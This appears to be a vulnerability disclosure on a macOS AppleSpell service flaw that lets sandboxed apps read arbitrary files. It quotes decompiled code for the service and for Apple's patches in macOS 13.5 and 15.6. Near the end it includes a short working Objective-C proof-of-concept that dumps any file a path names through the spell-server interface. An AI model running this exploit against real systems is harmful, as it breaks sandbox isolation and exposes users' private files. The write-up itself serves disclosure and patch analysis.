Affected Version

macOS Ventura 13.4 and below.

Demo

https://youtu.be/I_n8ZkllK3U

Root Cause

System service `/System/Library/Services/AppleSpell.service` provides two Mach Services named "**mul-xpc (Apple)_OpenStep**" and "**com.apple.applespell**" :

```
ProofReaderXPCServer *__cdecl -[ProofReaderXPCServer initWithSpellServer:](ProofReaderXPCServer *self, SEL a2, id a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v8.receiver = self;
  v8.super_class = (Class)&OBJC_CLASS___ProofReaderXPCServer;
  v4 = -[ProofReaderXPCServer init](&v8, "init");
  if ( v4 )
  {
    v4->_server = (PRSpellServer *)objc_retain(a3);
    v5 = objc_alloc(&OBJC_CLASS___NSXPCListener);
    v4->_listener1 = -[NSXPCListener initWithMachServiceName:](
                       v5,
                       "initWithMachServiceName:",
                       CFSTR("mul-xpc (Apple)_OpenStep"));
    v6 = objc_alloc(&OBJC_CLASS___NSXPCListener);
    v4->_listener2 = -[NSXPCListener initWithMachServiceName:](
                       v6,
                       "initWithMachServiceName:",
                       CFSTR("com.apple.applespell"));
    v4->_queue = (OS_dispatch_queue *)&_dispatch_main_q;
    dispatch_retain(&_dispatch_main_q);
    -[NSXPCListener setDelegate:](v4->_listener1, "setDelegate:", v4);
    -[NSXPCListener setDelegate:](v4->_listener2, "setDelegate:", v4);
    -[NSXPCListener _setQueue:](v4->_listener1, "_setQueue:", v4->_queue);
    -[NSXPCListener _setQueue:](v4->_listener2, "_setQueue:", v4->_queue);
    PRLog(
      128,
      (void *)CFSTR("create server %p listeners %p, %p delegate %p"),
      v4->_server,
      v4->_listener1,
      v4->_listener2,
      v4);
    -[NSXPCListener resume](v4->_listener1, "resume");
    PRLog(128, (void *)CFSTR("service resumed for server %p listener %p delegate %p"), v4->_server, v4->_listener1, v4);
    -[NSXPCListener resume](v4->_listener2, "resume");
    PRLog(128, (void *)CFSTR("service resumed for server %p listener %p delegate %p"), v4->_server, v4->_listener2, v4);
  }
000C81A3 -[ProofReaderXPCServer initWithSpellServer:]:12 (1000C41A3)
```

The first Mach service "**mul-xpc (Apple)_OpenStep**" is available from App-Sandbox.

It always accepts the XPC client connection by return **YES**:

```
char __cdecl -[ProofReaderXPCServer listener:shouldAcceptNewConnection:](
        ProofReaderXPCServer *self,
        SEL a2,
        id a3,
        id a4)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v5 = (int)a3;
  v6 = (unsigned int)objc_msgSend(a4, "processIdentifier");
  PRLog(
    128,
    (unsigned int)CFSTR("delegate %p establish connection with PID %d server %p listener %p"),
    (_DWORD)self,
    v6,
    self->_server,
    v5);
  objc_msgSend(a4, "setExportedObject:", self->_server);
  v7 = +[NSXPCInterface interfaceWithProtocol:](
         &OBJC_CLASS___NSXPCInterface,
         "interfaceWithProtocol:",
         &OBJC_PROTOCOL___PRXPCSpellServer);
  objc_msgSend(a4, "setExportedInterface:", v7);
  objc_msgSend(a4, "_setQueue:", self->_queue);
  objc_msgSend(a4, "resume");
  return 1;
}
```

The protocol provides 29 routines:

```
@protocol PRXPCSpellServer
- (void)_xpc_invalidateDictionary:(NSString *)arg1 newTime:(long long)arg2;
- (void)_xpc_setWords:(NSArray *)arg1 inDictionary:(NSString *)arg2;
- (void)_xpc_wordsInDictionary:(NSString *)arg1 completionHandler:(void (^)(NSArray *))arg2;
- (void)_xpc_appendWord:(NSString *)arg1 toDictionary:(NSString *)arg2 completionHandler:(void (^)(BOOL))arg3;
- (void)_xpc_isWord:(NSString *)arg1 inDictionary:(NSString *)arg2 completionHandler:(void (^)(BOOL))arg3;
- (void)_xpc_forgetWord:(NSString *)arg1 inDictionary:(NSString *)arg2 completionHandler:(void (^)(BOOL))arg3;
- (void)_xpc_learnWord:(NSString *)arg1 inDictionary:(NSString *)arg2 completionHandler:(void (^)(BOOL))arg3;
- (void)_xpc_prefixesForPinyinInputString:(NSString *)arg1 language:(NSString *)arg2 completionHandler:(void (^)(NSArray *))arg3;
- (void)_xpc_extendedAlternativesForPinyinInputString:(NSString *)arg1 language:(NSString *)arg2 completionHandler:(void (^)(NSArray *))arg3;
- (void)_xpc_alternativesForPinyinInputString:(NSString *)arg1 language:(NSString *)arg2 completionHandler:(void (^)(NSArray *))arg3;
- (void)_xpc_stringForInputString:(NSString *)arg1 language:(NSString *)arg2 completionHandler:(void (^)(NSString *))arg3;
- (void)_xpc_suggestNextLetterDictionariesForPartialWordRange:(struct _NSRange)arg1 inString:(NSString *)arg2 language:(NSString *)arg3 options:(NSDictionary *)arg4 completionHandler:(void (^)(NSArray *))arg5;
- (void)_xpc_suggestNextLetterDictionariesForPartialWordRange:(struct _NSRange)arg1 inString:(NSString *)arg2 language:(NSString *)arg3 completionHandler:(void (^)(NSArray *))arg4;
- (void)_xpc_suggestCompletionDictionariesForPartialWordRange:(struct _NSRange)arg1 inString:(NSString *)arg2 language:(NSString *)arg3 options:(NSDictionary *)arg4 completionHandler:(void (^)(NSArray *))arg5;
```

```
16 - (void)_xpc_suggestCompletionDictionariesForPartialWordRange:(struct _NSRange)arg1
   inString:(NSString *)arg2 language:(NSString *)arg3 completionHandler:(void (^)
   (NSArray *))arg4;
17 - (void)_xpc_suggestCompletionsForPartialWordRange:(struct _NSRange)arg1 inString:
   (NSString *)arg2 language:(NSString *)arg3 options:(NSDictionary *)arg4
   completionHandler:(void (^)(NSArray *))arg5;
18 - (void)_xpc_suggestCompletionsForPartialWordRange:(struct _NSRange)arg1 inString:
   (NSString *)arg2 language:(NSString *)arg3 completionHandler:(void (^)(NSArray
   *))arg4;
19 - (void)_xpc_suggestGuessesForWordRange:(struct _NSRange)arg1 inString:(NSString
   *)arg2 language:(NSString *)arg3 options:(NSDictionary *)arg4 completionHandler:(void
   (^)(NSArray *))arg5;
20 - (void)_xpc_suggestGuessesForWordRange:(struct _NSRange)arg1 inString:(NSString
   *)arg2 language:(NSString *)arg3 completionHandler:(void (^)(NSArray *))arg4;
21 - (void)_xpc_suggestGuessesForWord:(NSString *)arg1 inLanguage:(NSString *)arg2
   completionHandler:(void (^)(NSArray *))arg3;
22 - (void)_xpc_recordResponse:(unsigned long long)arg1 toCorrection:(NSString *)arg2
   forWord:(NSString *)arg3 language:(NSString *)arg4;
23 - (void)_xpc_dataFromGeneratingCandidatesForSelectedRange:(struct _NSRange)arg1
   inString:(NSString *)arg2 offset:(unsigned long long)arg3 types:(unsigned long
   long)arg4 optionsData:(NSData *)arg5 orthography:(NSOrthography *)arg6
   learnedDictionaries:(NSArray *)arg7 completionHandler:(void (^)(NSData *))arg8;
24 - (void)_xpc_dataFromGeneratingCandidatesForSelectedRange:(struct _NSRange)arg1
   inString:(NSString *)arg2 offset:(unsigned long long)arg3 types:(unsigned long
   long)arg4 options:(NSDictionary *)arg5 orthography:(NSOrthography *)arg6
   learnedDictionaries:(NSArray *)arg7 completionHandler:(void (^)(NSData *))arg8;
25 - (void)_xpc_dataFromCheckingString:(NSString *)arg1 offset:(unsigned long long)arg2
   types:(unsigned long long)arg3 optionsData:(NSData *)arg4 orthography:(NSOrthography
   *)arg5 learnedDictionaries:(NSArray *)arg6 completionHandler:(void (^)(NSData *, long
   long))arg7;
26 - (void)_xpc_dataFromCheckingString:(NSString *)arg1 offset:(unsigned long long)arg2
   types:(unsigned long long)arg3 options:(NSDictionary *)arg4 orthography:
   (NSOrthography *)arg5 learnedDictionaries:(NSArray *)arg6 completionHandler:(void (^)
   (NSData *, long long))arg7;
27 - (void)_xpc_checkString:(NSString *)arg1 offset:(unsigned long long)arg2 types:
   (unsigned long long)arg3 options:(NSDictionary *)arg4 orthography:(NSOrthography
   *)arg5 learnedDictionaries:(NSArray *)arg6 completionHandler:(void (^)(NSArray *,
   long long))arg7;
28 - (void)_xpc_checkGrammarInString:(NSString *)arg1 language:(NSString *)arg2
   completionHandler:(void (^)(struct _NSRange, NSArray *))arg3;
29 - (void)_xpc_findMisspelledWordInString:(NSString *)arg1 language:(NSString *)arg2
   learnedDictionaries:(NSArray *)arg3 countOnly:(BOOL)arg4 completionHandler:(void (^)
   (struct _NSRange, long long))arg5;
30 @end
```

The vulnerability exists in the service routine named **_xpc_wordsInDictionary:completionHandler:**

```
1 void __cdecl -[PRSpellServer _xpc_wordsInDictionary:completionHandler:](PRSpellServer *self, SEL a2, id a3, id a4)
2 {
3   id v6; // rbx
4
5   PRLog(128, (void *)CFSTR("server %p _xpc_wordsInDictionary %@"), self, a3);
6   v6 = -[PRSpellServer _wordsInDictionary:](self, "_wordsInDictionary:", a3);
7   PRLog(128, (void *)CFSTR("server %p _xpc_wordsInDictionary returning %@"), self, v6);
8   (*((void (__fastcall **)(id, id))a4 + 2))(a4, v6);
9 }
```

The internal function `-[PRSpellServer _wordsInDictionary:]` is implemented in the `Foundation.framework` :

```
id __cdecl -[NSSpellServer _wordsInDictionary:](NSSpellServer *self, SEL a2, id a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = -[NSSpellServer dictionaryInfo:](self, "dictionaryInfo:", a3);
  if ( v3 && (v4 = v3, (v5 = (const __CFSet *)v3[1]) != 0LL) && (Count = CFSetGetCount(v5), Count > 0) )
  {
    v7 = Count;
    v18 = objc_msgSend_0(off_7FF841B73F30, "array");
    v8 = (const void **)malloc(8 * v7);
    CFSetGetValues((CFSetRef)v4[1], v8);
    contentsDeallocator = (const __CFAllocator *)*unk_7FF8431BFCB8;
    for ( i = 0LL; i != v7; ++i )
    {
      v10 = (const char *)v8[i];
      if ( v10 )
      {
        v11 = strchr((const char *)v8[i], 10);
        if ( v11 )
          v12 = v11 - v10;
        else
          v12 = strlen(v10);
        v13 = (__CFString *)CFStringCreateWithBytesNoCopy(
```

```
id __cdecl -[NSSpellServer dictionaryInfo:](NSSpellServer *self, SEL a2, id a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = a3;
  if ( !a3 )
    v3 = NSGlobalDomain;
  dictionaries = self->_dictionaries;
  if ( !dictionaries )
  {
    dictionaries = CFDictionaryCreateMutable(
                     (CFAllocatorRef)*unk_7FF8431BFCA8,
                     0LL,
                     (const CFDictionaryKeyCallBacks *)(&kCFTypeArrayCallBacks + 2),
                     (const CFDictionaryValueCallBacks *)(&kCFTypeArrayCallBacks + 3));
    self->_dictionaries = dictionaries;
  }
  v6 = objc_msgSend_0(dictionaries, "objectForKey:", v3);
  if ( !v6 )
  {
    v7 = -[NSSpellServer openUserDictionary:](self, "openUserDictionary:", v3);
    if ( v7 )
    {
      v6 = v7;
    }
    else
    {
      v9 = objc_allocWithZone((Class)&OBJC_CLASS___NSDictionaryEntry);
```

```
1  id __cdecl -[NSSpellServer openUserDictionary:](NSSpellServer *self, SEL a2, id a3)
2  {
3    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
4
5    v46[1] = *(_QWORD *)off_7FF8431BF2F8;
6    if ( a3 )
7    {
8      v5 = (unsigned __int8)objc_msgSend_0(a3, "isAbsolutePath");
9      if ( !(unsigned __int8)_NSGetPathToDictionary2(v46, a3, 0LL) )
10       return 0LL;
11     v45 = v5 == 0;
12     v6 = (unsigned __int8)objc_msgSend_0(a3, "isEqualToString:", NSGlobalDomain);
13     v7 = 0LL;
14     if ( !v6 )
15       v7 = a3;
16     v40 = v7;
17     path = (id)v46[0];
18   }
19   else
20   {
21     v9 = (void *)_NSSpellingDictDirectoryPath2(self, a2);
22     path = objc_msgSend_0(v9, "stringByAppendingPathComponent:", CFSTR("LocalDictionary"));
23     v46[0] = (__int64)path;
24     v45 = 1;
25     v40 = 0LL;
26   }
27   v10 = _CFAutoreleasePoolPush();
28   v44 = path;
29   v11 = objc_msgSend_0(off_7FF841B73F40, "dataWithContentsOfFile:options:error:", path, 1LL, 0LL);
30   v12 = objc_retain_0(v11);
31   v13 = (const char *)objc_msgSend_0(v12, "bytes");
32   v14 = objc_msgSend_0(v12, "length");
```

At line 29, we can see it reads the file contents from the `path`, which is controlled by the XPC client.

So it can be exploited to read arbitrary file regardless of the sandbox restriction.

Patch in macOS 13.5

```
1  void __cdecl -[PRSpellServer _xpc_wordsInDictionary:completionHandler:](PRSpellServer *self, SEL a2, id a3, id a4)
2  {
3    // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
4
5    v8 = 0LL;
6    sub_100031324(128, (unsigned int)CFSTR("server %p _xpc_wordsInDictionary %@"), (_DWORD)self, (_DWORD)a3, v4, v5);
7    if ( (unsigned __int8)IsDictionaryNameSafe(a3) )
8      v8 = -[PRSpellServer _wordsInDictionary:](self, "_wordsInDictionary:", a3);
9    sub_100031324(
10     128,
11     (unsigned int)CFSTR("server %p _xpc_wordsInDictionary returning %@"),
12     (_DWORD)self,
13     (_DWORD)v8,
14     v9,
15     v10);
16   (*((void (__fastcall **)(id, id))a4 + 2))(a4, v8);
17 }
```

```
__int64 __fastcall IsDictionaryNameSafe(id dictionaryName)
{
  __int64 v1; // rdx
  __int64 result; // rax

  if ( qword_100138498 != -1 )
    dispatch_once(&qword_100138498, &stru_1001135A8);
  if ( dictionaryName )
  {
    if ( objc_msgSend(dictionaryName, "length") )
    {
      objc_msgSend(dictionaryName, "rangeOfCharacterFromSet:", dangerousCharacters);
      LOBYTE(result) = v1 == 0;
    }
    else
    {
      LOBYTE(result) = 0;
    }
  }
  else
  {
    LOBYTE(result) = 1;
  }
  return (unsigned __int8)result;
```

```
void __cdecl sub_1000C48F2(id a1)
{
  NSCharacterSet *v1; // rax

  v1 = +[NSCharacterSet characterSetWithCharactersInString:](
         &OBJC_CLASS___NSCharacterSet,
         "characterSetWithCharactersInString:",
         CFSTR("./~"));
  dangerousCharacters = objc_retain(v1);
}
```

Similar issue: CVE-2025-43266

Discovered by Noah Gregory, who will tell you more about the details. I wrote this exploit according to binary diffing and reverse engineering:

```
@protocol PRSpellServerPrivateNewDO
- (NSArray *)_wordsInDictionary:(NSString *)input;
@end

void exploit_AppleSpell(const char *target) {
    NSConnection *conn = [NSConnection
                          connectionWithRegisteredName:@"Multilingual (Apple)_OpenStep"
                          host:nil
                          usingNameServer:[NSMachBootstrapServer sharedInstance]
    ];

    if (conn == nil) {
        NSLog(@"Failed to connect to service.");
        return ;
    }

    id<PRSpellServerPrivateNewDO> proxy = [conn rootProxy];
```

```
    [proxy setProtocolForProxy:@protocol(PRSpellServerPrivateNewDO)];

    NSArray *result = [proxy _wordsInDictionary:[NSString
stringWithUTF8String:target]];
    NSLog(@"dumped content:%@", [result componentsJoinedByString:@"\n"]);
}
```

Apple's patch in macOS 15.6:

```
id -[PRSpellServer openUserDictionary:](PRSpellServer *self, SEL a2, id a3)
{
  v8 = self;
  v7 = a2;
  v6 = a3;
  if ( !(unsigned __int8)IsDictionaryNameSafe((__CFString *)a3) ) // --> new patch
here in macOS 15.6!
    return 0LL;
  v5 = sub_10015A080(v6);
  v4.receiver = v8;
  v4.super_class = &OBJC_CLASS___PRSpellServer;
  return -[PRSpellServer openUserDictionary:](&v4, "openUserDictionary:", v5);
}
```